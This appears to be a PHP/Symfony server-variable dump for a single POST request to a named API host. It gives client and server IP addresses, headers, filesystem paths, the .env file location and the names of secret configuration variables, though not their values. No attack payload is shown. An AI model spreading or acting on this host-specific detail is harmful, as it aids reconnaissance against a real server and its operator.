HTTP_CONTENT_LENGTH
"14222"
HTTP_CONTENT_TYPE
"multipart/form-data; boundary=geckopartaa2d254abdc9779d6012c37fe06a9e5d"
HTTP_HOST
"xlapi.john-dufrene.com"
HTTP_NEXT_ACTION
"1abcf90331e88ea63ce1ddb406729cb87dc2162e"
HTTP_PRIORITY
"u=0, i"
HTTP_REFERER
"https://xlapi.john-dufrene.com/"
HTTP_SEC_CH_UA
""Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146""
HTTP_SEC_CH_UA_MOBILE
"?0"
HTTP_SEC_CH_UA_PLATFORM
""Windows""
HTTP_SEC_FETCH_DEST
"empty"
HTTP_SEC_FETCH_MODE
"cors"
HTTP_SEC_FETCH_SITE
"same-origin"
HTTP_USER_AGENT
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36"
PATH_INFO
""
PHP_SELF
"/index.php"
QUERY_STRING
""
REDIRECT_STATUS
"200"
REMOTE_ADDR
"35.255.10.86"
REMOTE_PORT
"51002"
REMOTE_USER
""
REQUEST_METHOD
"POST"
REQUEST_SCHEME
"https"
REQUEST_TIME
1779859911
REQUEST_TIME_FLOAT
1779859911.3312
REQUEST_URI
"/"
SCRIPT_FILENAME
"/home/admin/htdocs/xl-api/app/public/index.php"
SCRIPT_NAME
"/index.php"
SERVER_ADDR
"135.125.103.82"
SERVER_NAME
"xlapi.john-dufrene.com"
SERVER_PORT
"443"
SERVER_PROTOCOL
"HTTP/1.1"
SERVER_SOFTWARE
"nginx/1.26.3"
SYMFONY_DOTENV_PATH
"/home/admin/htdocs/xl-api/app/.env"
SYMFONY_DOTENV_VARS
"APP_LOCALE,APP_DEBUG,APP_ENV,APP_SECRET,ADMIN_URL,DEFAULT_URI,VERBOSITY_LEVEL,MAILER_USER,MAILER_PASSWORD,MYSQL_USER,MYSQL_PASS,MYSQL_DB,MYSQL_SERVER,MYSQL_PORT,DATABASE_URL,CORS_ALLOW_ORIGIN,MAILER_DSN,MAILER_TRANSACTIONAL_DSN,MAILER_MARKETING_DSN,MESSENGER_TRANSPORT_DSN,MESSENGER_TRANSPORT_TRANSACTIONAL_DSN,MESSENGER_TRANSPORT_MARKETING_DSN,S3_REGION,S3_ENDPOINT,S3_ENDPOINT_EXTERNAL,S3_USE_PATH_STYLE,S3_ACCESS_KEY,S3_SECRET_KEY,S3_BUCKET_PUBLIC,S3_BUCKET_PRIVATE,IMGPROXY_KEY,IMGPROXY_SALT,IMGPROXY_URL"
USER
"www-data"